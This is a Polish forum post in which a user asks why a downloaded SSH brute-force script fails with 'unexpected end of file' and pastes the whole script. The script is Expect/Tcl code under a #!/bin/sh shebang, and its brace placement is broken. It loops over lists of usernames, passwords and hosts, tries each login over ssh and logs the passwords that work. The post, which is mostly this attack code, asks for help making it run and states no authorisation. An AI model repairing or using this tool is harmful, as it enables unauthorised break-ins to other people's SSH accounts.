Sciagnalem z sieci program do testowania hasel typu brute force, jednak mam problem z jego odpaleniem, wywyoluje go komenda:
./brute.sh
jednak otrzymuje komunikat:
debian:/home/xxx/Desktop# ./brute.sh ./brute.sh: line 48: syntax error: unexpected end of file debian:/home/xxx/Desktop#
Nie wiem, co to za blad, prosze o pomoc, oto caly kod programu:
GNU nano 2.0.7 File: brute.sh
#!/bin/sh
#
# Written by James Shanahan (jshanahan@comcastpc.com)
# and Erin Palmer(epalmer@comcastpc.com)
# ssh brute forcer
# This will allow you to specify hosts, password lists, and a user
# I do not take any responsibility for what you do with this tool
# Hopefully it will make your life easier rather then making other
# peoples lives more difficult!
set timeout 5
set dictionary [lindex $argv 0]
set file [lindex $argv 1]
set user [lindex $argv 2]
if {[llength $argv] != 3} {
puts stderr "Usage: $argv0 <dictionary-file> <hosts-file> <user-file>\n"
exit }
set tryHost [open $file r]
set tryPass [open $dictionary r]
set tryUser [open $user r]
set passwords [read $tryPass]
set hosts [read $tryHost]
set login [read $tryUser]
foreach username $login
{
foreach passwd $passwords
{
foreach ip $hosts
{
spawn ssh $username@$ip
expect "-"
send "$passwd\n"
set logFile [open $ip.log a]
expect "L"
{
puts $logFile "password for $username@$ip is $passwd\n"
close $logFile
}
set id [exp_pid]
exec kill -INT $id
}
}
}

Logowanie »
Rejestracja
Pomoc
Dodaj odpowiedź

Cytuj